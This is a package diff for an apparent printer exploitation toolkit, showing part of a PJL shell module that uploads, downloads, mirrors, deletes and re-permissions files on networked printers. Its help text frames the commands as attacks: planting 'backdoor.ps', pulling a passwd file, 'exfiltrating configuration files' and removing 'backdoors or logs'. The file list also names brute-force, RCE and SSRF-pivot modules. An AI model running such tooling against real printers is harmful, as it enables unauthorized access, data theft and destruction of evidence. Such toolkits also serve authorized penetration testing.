printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
src/modules/pjl.py
ADDED
|
@@ -0,0 +1,3575 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
6
|
+
# GitHub : https://github.com/mrhenrike
|
|
7
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
8
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
9
|
+
|
|
10
|
+
import re
|
|
11
|
+
import os
|
|
12
|
+
import random
|
|
13
|
+
import posixpath
|
|
14
|
+
import time
|
|
15
|
+
|
|
16
|
+
from core.printer import printer
|
|
17
|
+
from utils.codebook import codebook
|
|
18
|
+
from utils.helper import log, output, conv, file, item, chunks, const as c
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
class pjl(printer):
|
|
22
|
+
"""
|
|
23
|
+
PJL v2.0 shell for PrinterXPL-Forge - Enhanced and Reorganized
|
|
24
|
+
"""
|
|
25
|
+
|
|
26
|
+
def __init__(self, args):
|
|
27
|
+
super().__init__(args)
|
|
28
|
+
self.status = False
|
|
29
|
+
self.prompt = f"{self.target}:/> "
|
|
30
|
+
|
|
31
|
+
# --------------------------------------------------------------------
|
|
32
|
+
# low-level send/receive
|
|
33
|
+
|
|
34
|
+
def cmd(self, str_send, wait=True, crop=True, binary=False):
|
|
35
|
+
"""
|
|
36
|
+
Send a PJL command and optionally wait for its reply.
|
|
37
|
+
"""
|
|
38
|
+
token = c.DELIMITER + str(random.randrange(2**16))
|
|
39
|
+
status_cmd = "@PJL INFO STATUS" + c.EOL if self.status and wait else ""
|
|
40
|
+
footer = "@PJL ECHO " + token + c.EOL + c.EOL if wait else ""
|
|
41
|
+
payload = c.UEL + str_send + c.EOL + status_cmd + footer + c.UEL
|
|
42
|
+
|
|
43
|
+
# log the command
|
|
44
|
+
log().write(self.logfile, str_send + os.linesep)
|
|
45
|
+
# send
|
|
46
|
+
self.send(payload)
|
|
47
|
+
|
|
48
|
+
if not wait:
|
|
49
|
+
return ""
|
|
50
|
+
|
|
51
|
+
# receive until token with timeout
|
|
52
|
+
try:
|
|
53
|
+
# Set a reasonable timeout for receiving data (30 seconds as requested)
|
|
54
|
+
if hasattr(self.conn, '_sock') and self.conn._sock:
|
|
55
|
+
self.conn._sock.settimeout(30.0) # 30 second timeout
|
|
56
|
+
|
|
57
|
+
raw = self.recv(r"(@PJL ECHO\s+)?" + re.escape(token) + r".*$",
|
|
58
|
+
wait, True, binary)
|
|
59
|
+
except Exception as e:
|
|
60
|
+
output().errmsg(f"Failed to receive response: {str(e)}")
|
|
61
|
+
return ""
|
|
62
|
+
stat = ""
|
|
63
|
+
if self.status:
|
|
64
|
+
stat = item(re.findall(r"@PJL INFO STATUS.*", raw, re.DOTALL))
|
|
65
|
+
raw = re.sub(r"\x0c?@PJL INFO STATUS.*", "", raw, flags=re.DOTALL)
|
|
66
|
+
if crop:
|
|
67
|
+
raw = re.sub(r"^\x04?(\x00+)?@PJL.*" + re.escape(c.EOL), "",
|
|
68
|
+
raw, flags=re.MULTILINE)
|
|
69
|
+
|
|
70
|
+
return self.pjl_err(raw, stat)
|
|
71
|
+
|
|
72
|
+
def pjl_err(self, raw, stat):
|
|
73
|
+
"""
|
|
74
|
+
Handle file errors and status messages, then return raw buffer.
|
|
75
|
+
"""
|
|
76
|
+
self.fileerror(raw)
|
|
77
|
+
self.showstatus(stat)
|
|
78
|
+
return raw
|
|
79
|
+
|
|
80
|
+
def on_connect(self, mode):
|
|
81
|
+
"""
|
|
82
|
+
Disable unsolicited status messages on first connect.
|
|
83
|
+
"""
|
|
84
|
+
if mode == "init":
|
|
85
|
+
self.cmd("@PJL USTATUSOFF", False)
|
|
86
|
+
|
|
87
|
+
# --------------------------------------------------------------------
|
|
88
|
+
# status toggles
|
|
89
|
+
|
|
90
|
+
def do_status(self, arg):
|
|
91
|
+
"Toggle PJL status messages"
|
|
92
|
+
self.status = not self.status
|
|
93
|
+
print("Status messages enabled" if self.status else "Status messages disabled")
|
|
94
|
+
|
|
95
|
+
def help_status(self):
|
|
96
|
+
"""Show help for status command"""
|
|
97
|
+
print()
|
|
98
|
+
print("status - Toggle PJL status messages")
|
|
99
|
+
print("Usage: status")
|
|
100
|
+
print("Enables or disables detailed status messages from the printer.")
|
|
101
|
+
print("Useful for debugging and monitoring printer responses.")
|
|
102
|
+
print()
|
|
103
|
+
|
|
104
|
+
|
|
105
|
+
def showstatus(self, stat):
|
|
106
|
+
codes = {}
|
|
107
|
+
msgs = {}
|
|
108
|
+
for num, code in re.findall(r"CODE(\d+)?\s*=\s*(\d+)", stat):
|
|
109
|
+
codes[num] = code
|
|
110
|
+
for num, mstr in re.findall(r'DISPLAY(\d+)?\s*=\s*"(.*)"', stat):
|
|
111
|
+
msgs[num] = mstr
|
|
112
|
+
|
|
113
|
+
for num, code in codes.items():
|
|
114
|
+
message = msgs.get(num, "UNKNOWN STATUS")
|
|
115
|
+
# HP quirk
|
|
116
|
+
if code.startswith("32"):
|
|
117
|
+
code = str(int(code) - 2000)
|
|
118
|
+
err = item(codebook().get_errors(code), "Unknown status")
|
|
119
|
+
output().errmsg(f"CODE {code}: {message}", err)
|
|
120
|
+
|
|
121
|
+
# --------------------------------------------------------------------
|
|
122
|
+
# 📁 SISTEMA DE ARQUIVOS (12 comandos)
|
|
123
|
+
# --------------------------------------------------------------------
|
|
124
|
+
|
|
125
|
+
def do_ls(self, arg):
|
|
126
|
+
"List remote directory contents"
|
|
127
|
+
lst = self.dirlist(arg, False, True)
|
|
128
|
+
if lst:
|
|
129
|
+
print(lst)
|
|
130
|
+
|
|
131
|
+
def help_ls(self):
|
|
132
|
+
"""Show help for ls command"""
|
|
133
|
+
print()
|
|
134
|
+
print("ls - List remote directory contents")
|
|
135
|
+
print("Usage: ls [directory]")
|
|
136
|
+
print("Lists files and directories on the remote printer.")
|
|
137
|
+
print("If no directory is specified, lists current directory.")
|
|
138
|
+
print()
|
|
139
|
+
|
|
140
|
+
def do_mkdir(self, arg):
|
|
141
|
+
"Create remote directory"
|
|
142
|
+
if not arg:
|
|
143
|
+
output().errmsg("Usage: mkdir <directory>")
|
|
144
|
+
return
|
|
145
|
+
self.cmd("@PJL FSMKDIR NAME=\"" + arg + "\"")
|
|
146
|
+
|
|
147
|
+
def help_mkdir(self):
|
|
148
|
+
"""Show help for mkdir command"""
|
|
149
|
+
print()
|
|
150
|
+
print("mkdir - Create remote directory")
|
|
151
|
+
print("Usage: mkdir <directory>")
|
|
152
|
+
print("Creates a new directory on the remote printer.")
|
|
153
|
+
print()
|
|
154
|
+
|
|
155
|
+
def do_find(self, arg):
|
|
156
|
+
"Recursively list all files"
|
|
157
|
+
self.fswalk(arg, "find")
|
|
158
|
+
|
|
159
|
+
def help_find(self):
|
|
160
|
+
"""Show help for find command"""
|
|
161
|
+
print()
|
|
162
|
+
print("find - Recursively list all files in the printer's file system")
|
|
163
|
+
print("=" * 60)
|
|
164
|
+
print("DESCRIPTION:")
|
|
165
|
+
print(" Walks through the entire directory tree starting from the specified")
|
|
166
|
+
print(" path and lists all files and directories found.")
|
|
167
|
+
print()
|
|
168
|
+
print("USAGE:")
|
|
169
|
+
print(" find [path]")
|
|
170
|
+
print()
|
|
171
|
+
print("EXAMPLES:")
|
|
172
|
+
print(" find # List all files from root")
|
|
173
|
+
print(" find 0:/ # List all files on volume 0")
|
|
174
|
+
print(" find /webServer # Find files in webServer directory")
|
|
175
|
+
print()
|
|
176
|
+
print("NOTES:")
|
|
177
|
+
print(" - May take time on large filesystems")
|
|
178
|
+
print(" - Shows full path for each file")
|
|
179
|
+
print(" - Useful for discovering hidden files")
|
|
180
|
+
print()
|
|
181
|
+
|
|
182
|
+
def do_upload(self, arg):
|
|
183
|
+
"Upload file to printer: upload <local_file> [remote_path]"
|
|
184
|
+
if not arg:
|
|
185
|
+
output().errmsg("Usage: upload <local_file> [remote_path]")
|
|
186
|
+
return
|
|
187
|
+
|
|
188
|
+
parts = arg.split()
|
|
189
|
+
local_file = parts[0]
|
|
190
|
+
remote_path = parts[1] if len(parts) > 1 else os.path.basename(local_file)
|
|
191
|
+
|
|
192
|
+
if not os.path.exists(local_file):
|
|
193
|
+
output().errmsg(f"Local file not found: {local_file}")
|
|
194
|
+
return
|
|
195
|
+
|
|
196
|
+
try:
|
|
197
|
+
with open(local_file, 'rb') as f:
|
|
198
|
+
data = f.read()
|
|
199
|
+
|
|
200
|
+
# PJL file upload: FSDOWNLOAD is the correct PJL command to
|
|
201
|
+
# *send* (download) data INTO the printer's filesystem.
|
|
202
|
+
# FSUPLOAD is used to READ from printer → host.
|
|
203
|
+
header = f"@PJL FSDOWNLOAD FORMAT:BINARY SIZE={len(data)} NAME=\"{remote_path}\"\r\n"
|
|
204
|
+
self.send(header.encode() + data)
|
|
205
|
+
output().info(f"Uploaded {local_file} to {remote_path}")
|
|
206
|
+
except Exception as e:
|
|
207
|
+
output().errmsg(f"Upload failed: {e}")
|
|
208
|
+
|
|
209
|
+
def help_upload(self):
|
|
210
|
+
"""Show help for upload command"""
|
|
211
|
+
print()
|
|
212
|
+
print("upload - Upload a local file to the printer")
|
|
213
|
+
print("=" * 60)
|
|
214
|
+
print("DESCRIPTION:")
|
|
215
|
+
print(" Transfers a file from the local system to the printer's file system")
|
|
216
|
+
print(" using PJL FSDOWNLOAD command. Supports any file type.")
|
|
217
|
+
print()
|
|
218
|
+
print("USAGE:")
|
|
219
|
+
print(" upload <local_file> [remote_path]")
|
|
220
|
+
print()
|
|
221
|
+
print("EXAMPLES:")
|
|
222
|
+
print(" upload config.txt # Upload to root with same name")
|
|
223
|
+
print(" upload /path/file.cfg 0:/file.cfg # Upload to specific location")
|
|
224
|
+
print(" upload backdoor.ps 1:/backdoor.ps # Upload to volume 1")
|
|
225
|
+
print()
|
|
226
|
+
print("NOTES:")
|
|
227
|
+
print(" - Local file must exist and be readable")
|
|
228
|
+
print(" - Remote path is optional (uses basename if omitted)")
|
|
229
|
+
print(" - File size is automatically calculated")
|
|
230
|
+
print(" - Use volume prefix (0:, 1:) for specific volumes")
|
|
231
|
+
print()
|
|
232
|
+
|
|
233
|
+
def do_download(self, arg):
|
|
234
|
+
"Download file from printer: download <remote_file> [local_path]"
|
|
235
|
+
if not arg:
|
|
236
|
+
output().errmsg("Usage: download <remote_file> [local_path]")
|
|
237
|
+
return
|
|
238
|
+
|
|
239
|
+
parts = arg.split()
|
|
240
|
+
remote_file = parts[0]
|
|
241
|
+
local_path = parts[1] if len(parts) > 1 else os.path.basename(remote_file)
|
|
242
|
+
|
|
243
|
+
try:
|
|
244
|
+
# Download file using PJL FSDOWNLOAD
|
|
245
|
+
data = self.cmd(f"@PJL FSDOWNLOAD NAME=\"{remote_file}\"", binary=True)
|
|
246
|
+
|
|
247
|
+
# Ensure data is bytes
|
|
248
|
+
if isinstance(data, str):
|
|
249
|
+
data = data.encode('utf-8')
|
|
250
|
+
|
|
251
|
+
with open(local_path, 'wb') as f:
|
|
252
|
+
f.write(data)
|
|
253
|
+
|
|
254
|
+
output().info(f"Downloaded {remote_file} to {local_path}")
|
|
255
|
+
except Exception as e:
|
|
256
|
+
output().errmsg(f"Download failed: {e}")
|
|
257
|
+
|
|
258
|
+
def help_download(self):
|
|
259
|
+
"""Show help for download command"""
|
|
260
|
+
print()
|
|
261
|
+
print("download - Download a file from the printer")
|
|
262
|
+
print("=" * 60)
|
|
263
|
+
print("DESCRIPTION:")
|
|
264
|
+
print(" Retrieves a file from the printer's file system and saves it")
|
|
265
|
+
print(" locally using PJL FSDOWNLOAD command. Supports any file type.")
|
|
266
|
+
print()
|
|
267
|
+
print("USAGE:")
|
|
268
|
+
print(" download <remote_file> [local_path]")
|
|
269
|
+
print()
|
|
270
|
+
print("EXAMPLES:")
|
|
271
|
+
print(" download config.cfg # Download to current directory")
|
|
272
|
+
print(" download 0:/passwd /tmp/passwd # Download with different name")
|
|
273
|
+
print(" download 1:/backup.cfg backup.cfg # Download from volume 1")
|
|
274
|
+
print()
|
|
275
|
+
print("NOTES:")
|
|
276
|
+
print(" - Remote file must exist and be readable")
|
|
277
|
+
print(" - Local path is optional (uses basename if omitted)")
|
|
278
|
+
print(" - File is saved as binary to preserve integrity")
|
|
279
|
+
print(" - Use for exfiltrating configuration files")
|
|
280
|
+
print()
|
|
281
|
+
|
|
282
|
+
def do_pjl_delete(self, arg):
|
|
283
|
+
"Delete remote file using PJL: pjl_delete <file>"
|
|
284
|
+
if not arg:
|
|
285
|
+
output().errmsg("Usage: pjl_delete <file>")
|
|
286
|
+
return
|
|
287
|
+
self.cmd("@PJL FSDELETE NAME=\"" + arg + "\"")
|
|
288
|
+
|
|
289
|
+
def help_pjl_delete(self):
|
|
290
|
+
"""Show help for pjl_delete command"""
|
|
291
|
+
print()
|
|
292
|
+
print("pjl_delete - Delete a file from the printer using PJL")
|
|
293
|
+
print("=" * 60)
|
|
294
|
+
print("DESCRIPTION:")
|
|
295
|
+
print(" Removes a file from the printer's file system using the")
|
|
296
|
+
print(" PJL FSDELETE command. Permanent operation - cannot be undone.")
|
|
297
|
+
print()
|
|
298
|
+
print("USAGE:")
|
|
299
|
+
print(" pjl_delete <file>")
|
|
300
|
+
print()
|
|
301
|
+
print("EXAMPLES:")
|
|
302
|
+
print(" pjl_delete old.log # Delete file from current directory")
|
|
303
|
+
print(" pjl_delete 0:/tmp/temp.cfg # Delete specific file")
|
|
304
|
+
print(" pjl_delete /webServer/test # Delete file from webServer")
|
|
305
|
+
print()
|
|
306
|
+
print("NOTES:")
|
|
307
|
+
print(" - File is permanently deleted")
|
|
308
|
+
print(" - Cannot be undone")
|
|
309
|
+
print(" - Use with caution")
|
|
310
|
+
print(" - May be used to remove backdoors or logs")
|
|
311
|
+
print()
|
|
312
|
+
|
|
313
|
+
def do_copy(self, arg):
|
|
314
|
+
"Copy remote file: copy <source> <destination>"
|
|
315
|
+
if not arg:
|
|
316
|
+
output().errmsg("Usage: copy <source> <destination>")
|
|
317
|
+
return
|
|
318
|
+
|
|
319
|
+
parts = arg.split()
|
|
320
|
+
if len(parts) != 2:
|
|
321
|
+
output().errmsg("Usage: copy <source> <destination>")
|
|
322
|
+
return
|
|
323
|
+
|
|
324
|
+
source, dest = parts
|
|
325
|
+
# Download source and upload as destination
|
|
326
|
+
try:
|
|
327
|
+
data = self.cmd(f"@PJL FSDOWNLOAD NAME=\"{source}\"", binary=True)
|
|
328
|
+
self.cmd(f"@PJL FSUPLOAD NAME=\"{dest}\" OFFSET=0 LENGTH={len(data)}")
|
|
329
|
+
self.send(data)
|
|
330
|
+
output().info(f"Copied {source} to {dest}")
|
|
331
|
+
except Exception as e:
|
|
332
|
+
output().errmsg(f"Copy failed: {e}")
|
|
333
|
+
|
|
334
|
+
def help_copy(self):
|
|
335
|
+
"""Show help for copy command"""
|
|
336
|
+
print()
|
|
337
|
+
print("copy - Copy a file on the printer")
|
|
338
|
+
print("=" * 60)
|
|
339
|
+
print("DESCRIPTION:")
|
|
340
|
+
print(" Creates a duplicate of a file in the printer's file system")
|
|
341
|
+
print(" by downloading the source and uploading it to the destination.")
|
|
342
|
+
print()
|
|
343
|
+
print("USAGE:")
|
|
344
|
+
print(" copy <source> <destination>")
|
|
345
|
+
print()
|
|
346
|
+
print("EXAMPLES:")
|
|
347
|
+
print(" copy config.cfg config.bak # Backup configuration")
|
|
348
|
+
print(" copy 0:/file.txt 1:/file.txt # Copy between volumes")
|
|
349
|
+
print(" copy passwd passwd.original # Save original passwd file")
|
|
350
|
+
print()
|
|
351
|
+
print("NOTES:")
|
|
352
|
+
print(" - Source file must exist and be readable")
|
|
353
|
+
print(" - Destination will be overwritten if it exists")
|
|
354
|
+
print(" - Uses download + upload internally")
|
|
355
|
+
print(" - Useful for creating backups")
|
|
356
|
+
print()
|
|
357
|
+
|
|
358
|
+
def do_move(self, arg):
|
|
359
|
+
"Move remote file: move <source> <destination>"
|
|
360
|
+
if not arg:
|
|
361
|
+
output().errmsg("Usage: move <source> <destination>")
|
|
362
|
+
return
|
|
363
|
+
|
|
364
|
+
parts = arg.split()
|
|
365
|
+
if len(parts) != 2:
|
|
366
|
+
output().errmsg("Usage: move <source> <destination>")
|
|
367
|
+
return
|
|
368
|
+
|
|
369
|
+
source, dest = parts
|
|
370
|
+
# Copy and then delete source
|
|
371
|
+
try:
|
|
372
|
+
self.do_copy(f"{source} {dest}")
|
|
373
|
+
self.do_delete(source)
|
|
374
|
+
output().info(f"Moved {source} to {dest}")
|
|
375
|
+
except Exception as e:
|
|
376
|
+
output().errmsg(f"Move failed: {e}")
|
|
377
|
+
|
|
378
|
+
def help_move(self):
|
|
379
|
+
"""Show help for move command"""
|
|
380
|
+
print()
|
|
381
|
+
print("move - Move/rename a file on the printer")
|
|
382
|
+
print("=" * 60)
|
|
383
|
+
print("DESCRIPTION:")
|
|
384
|
+
print(" Moves a file from one location to another on the printer.")
|
|
385
|
+
print(" Effectively renames the file by copying and deleting the original.")
|
|
386
|
+
print()
|
|
387
|
+
print("USAGE:")
|
|
388
|
+
print(" move <source> <destination>")
|
|
389
|
+
print()
|
|
390
|
+
print("EXAMPLES:")
|
|
391
|
+
print(" move old.cfg new.cfg # Rename file")
|
|
392
|
+
print(" move 0:/file.txt 1:/file.txt # Move between volumes")
|
|
393
|
+
print(" move /tmp/test /backup/test # Move to different directory")
|
|
394
|
+
print()
|
|
395
|
+
print("NOTES:")
|
|
396
|
+
print(" - Source file is deleted after successful copy")
|
|
397
|
+
print(" - Destination will be overwritten if it exists")
|
|
398
|
+
print(" - Use copy if you want to keep the original")
|
|
399
|
+
print(" - Original file is permanently removed")
|
|
400
|
+
print()
|
|
401
|
+
|
|
402
|
+
def do_touch(self, arg):
|
|
403
|
+
"Update remote file timestamp, or create it if missing: touch <file>"
|
|
404
|
+
if not arg:
|
|
405
|
+
output().errmsg("Usage: touch <file>")
|
|
406
|
+
return
|
|
407
|
+
|
|
408
|
+
# Create empty file if it doesn't exist
|
|
409
|
+
try:
|
|
410
|
+
self.cmd(f"@PJL FSUPLOAD NAME=\"{arg}\" OFFSET=0 LENGTH=0")
|
|
411
|
+
output().info(f"Touched {arg}")
|
|
412
|
+
except Exception as e:
|
|
413
|
+
output().errmsg(f"Touch failed: {e}")
|
|
414
|
+
|
|
415
|
+
def help_touch(self):
|
|
416
|
+
"""Show help for touch command"""
|
|
417
|
+
print()
|
|
418
|
+
print("touch - Create an empty file or update timestamp")
|
|
419
|
+
print("=" * 60)
|
|
420
|
+
print("DESCRIPTION:")
|
|
421
|
+
print(" Creates a new empty file on the printer or updates the")
|
|
422
|
+
print(" timestamp of an existing file (if supported by the printer).")
|
|
423
|
+
print()
|
|
424
|
+
print("USAGE:")
|
|
425
|
+
print(" touch <file>")
|
|
426
|
+
print()
|
|
427
|
+
print("EXAMPLES:")
|
|
428
|
+
print(" touch newfile.txt # Create empty file")
|
|
429
|
+
print(" touch 0:/marker # Create marker file")
|
|
430
|
+
print(" touch /tmp/test.log # Create empty log")
|
|
431
|
+
print()
|
|
432
|
+
print("NOTES:")
|
|
433
|
+
print(" - Creates a zero-length file")
|
|
434
|
+
print(" - File is created if it doesn't exist")
|
|
435
|
+
print(" - Some printers may update timestamp instead")
|
|
436
|
+
print(" - Useful for creating placeholder files")
|
|
437
|
+
print()
|
|
438
|
+
|
|
439
|
+
def do_chmod(self, arg):
|
|
440
|
+
"Change file permissions: chmod <permissions> <file>"
|
|
441
|
+
if not arg:
|
|
442
|
+
output().errmsg("Usage: chmod <permissions> <file>")
|
|
443
|
+
return
|
|
444
|
+
|
|
445
|
+
parts = arg.split()
|
|
446
|
+
if len(parts) != 2:
|
|
447
|
+
output().errmsg("Usage: chmod <permissions> <file>")
|
|
448
|
+
return
|
|
449
|
+
|
|
450
|
+
perms, file_path = parts
|
|
451
|
+
# PJL doesn't have direct chmod, but we can try to set attributes
|
|
452
|
+
try:
|
|
453
|
+
self.cmd(f"@PJL FSSETATTR NAME=\"{file_path}\" ATTR={perms}")
|
|
454
|
+
output().info(f"Changed permissions of {file_path} to {perms}")
|
|
455
|
+
except Exception as e:
|
|
456
|
+
output().errmsg(f"Chmod failed: {e}")
|
|
457
|
+
|
|
458
|
+
def help_chmod(self):
|
|
459
|
+
"""Show help for chmod command"""
|
|
460
|
+
print()
|
|
461
|
+
print("chmod - Change file permissions")
|
|
462
|
+
print("=" * 60)
|
|
463
|
+
print("DESCRIPTION:")
|
|
464
|
+
print(" Attempts to change file permissions on the printer using")
|
|
465
|
+
print(" PJL FSSETATTR command. Support varies by printer model.")
|
|
466
|
+
print()
|
|
467
|
+
print("USAGE:")
|
|
468
|
+
print(" chmod <permissions> <file>")
|
|
469
|
+
print()
|
|
470
|
+
print("EXAMPLES:")
|
|
471
|
+
print(" chmod 644 config.cfg # Set read/write for owner")
|
|
472
|
+
print(" chmod 755 script.sh # Set executable permissions")
|
|
473
|
+
print(" chmod 0 protected.txt # Remove all permissions")
|
|
474
|
+
print()
|
|
475
|
+
print("NOTES:")
|
|
476
|
+
print(" - Not all printers support chmod")
|
|
477
|
+
print(" - Permission format may vary by printer")
|
|
478
|
+
print(" - Use permissions command to test access")
|
|
479
|
+
print(" - Some printers ignore this command")
|
|
480
|
+
print()
|
|
481
|
+
|
|
482
|
+
def do_permissions(self, arg):
|
|
483
|
+
"Test file permissions on remote device"
|
|
484
|
+
if not arg:
|
|
485
|
+
output().errmsg("Usage: permissions <file>")
|
|
486
|
+
return
|
|
487
|
+
|
|
488
|
+
try:
|
|
489
|
+
# Try to access file to test permissions
|
|
490
|
+
result = self.cmd(f"@PJL FSQUERY NAME=\"{arg}\"")
|
|
491
|
+
if result:
|
|
492
|
+
output().info(f"File {arg} is accessible")
|
|
493
|
+
else:
|
|
494
|
+
output().errmsg(f"File {arg} is not accessible")
|
|
495
|
+
except Exception as e:
|
|
496
|
+
output().errmsg(f"Permission test failed: {e}")
|
|
497
|
+
|
|
498
|
+
def help_permissions(self):
|
|
499
|
+
"""Show help for permissions command"""
|
|
500
|
+
print()
|
|
501
|
+
print("permissions - Test file permissions")
|
|
502
|
+
print("=" * 60)
|
|
503
|
+
print("DESCRIPTION:")
|
|
504
|
+
print(" Tests whether a file is accessible on the printer by")
|
|
505
|
+
print(" attempting to query it using PJL FSQUERY command.")
|
|
506
|
+
print()
|
|
507
|
+
print("USAGE:")
|
|
508
|
+
print(" permissions <file>")
|
|
509
|
+
print()
|
|
510
|
+
print("EXAMPLES:")
|
|
511
|
+
print(" permissions config.cfg # Test if file is accessible")
|
|
512
|
+
print(" permissions /etc/passwd # Test sensitive file access")
|
|
513
|
+
print(" permissions 0:/protected # Test protected file")
|
|
514
|
+
print()
|
|
515
|
+
print("NOTES:")
|
|
516
|
+
print(" - Reports if file is accessible or not")
|
|
517
|
+
print(" - Useful for permission enumeration")
|
|
518
|
+
print(" - Does not show specific permission bits")
|
|
519
|
+
print(" - Part of security testing toolkit")
|
|
520
|
+
print()
|
|
521
|
+
|
|
522
|
+
def do_rmdir(self, arg):
|
|
523
|
+
"Remove remote directory: rmdir <directory>"
|
|
524
|
+
if not arg:
|
|
525
|
+
output().errmsg("Usage: rmdir <directory>")
|
|
526
|
+
return
|
|
527
|
+
self.cmd("@PJL FSDELETE NAME=\"" + arg + "\"")
|
|
528
|
+
|
|
529
|
+
def help_rmdir(self):
|
|
530
|
+
"""Show help for rmdir command"""
|
|
531
|
+
print()
|
|
532
|
+
print("rmdir - Remove a directory")
|
|
533
|
+
print("=" * 60)
|
|
534
|
+
print("DESCRIPTION:")
|
|
535
|
+
print(" Deletes a directory from the printer's file system using")
|
|
536
|
+
print(" PJL FSDELETE command. Directory must be empty.")
|
|
537
|
+
print()
|
|
538
|
+
print("USAGE:")
|
|
539
|
+
print(" rmdir <directory>")
|
|
540
|
+
print()
|
|
541
|
+
print("EXAMPLES:")
|
|
542
|
+
print(" rmdir olddir # Remove empty directory")
|
|
543
|
+
print(" rmdir 0:/tmp # Remove tmp directory")
|
|
544
|
+
print(" rmdir /backup # Remove backup folder")
|
|
545
|
+
print()
|
|
546
|
+
print("NOTES:")
|
|
547
|
+
print(" - Directory must be empty")
|
|
548
|
+
print(" - Use pjl_delete to remove files first")
|
|
549
|
+
print(" - Operation cannot be undone")
|
|
550
|
+
print(" - Some printers may not support this")
|
|
551
|
+
print()
|
|
552
|
+
|
|
553
|
+
def do_mirror(self, arg):
|
|
554
|
+
"Mirror remote filesystem locally"
|
|
555
|
+
print("Mirroring " + c.SEP + self.vpath(arg))
|
|
556
|
+
self.fswalk(arg, "mirror")
|
|
557
|
+
|
|
558
|
+
def help_mirror(self):
|
|
559
|
+
"""Show help for mirror command"""
|
|
560
|
+
print()
|
|
561
|
+
print("mirror - Mirror the printer's filesystem locally")
|
|
562
|
+
print("=" * 60)
|
|
563
|
+
print("DESCRIPTION:")
|
|
564
|
+
print(" Recursively downloads the entire directory tree from the printer")
|
|
565
|
+
print(" to create a local copy. Useful for forensics and backup.")
|
|
566
|
+
print()
|
|
567
|
+
print("USAGE:")
|
|
568
|
+
print(" mirror [path]")
|
|
569
|
+
print()
|
|
570
|
+
print("EXAMPLES:")
|
|
571
|
+
print(" mirror # Mirror entire filesystem")
|
|
572
|
+
print(" mirror 0:/ # Mirror volume 0")
|
|
573
|
+
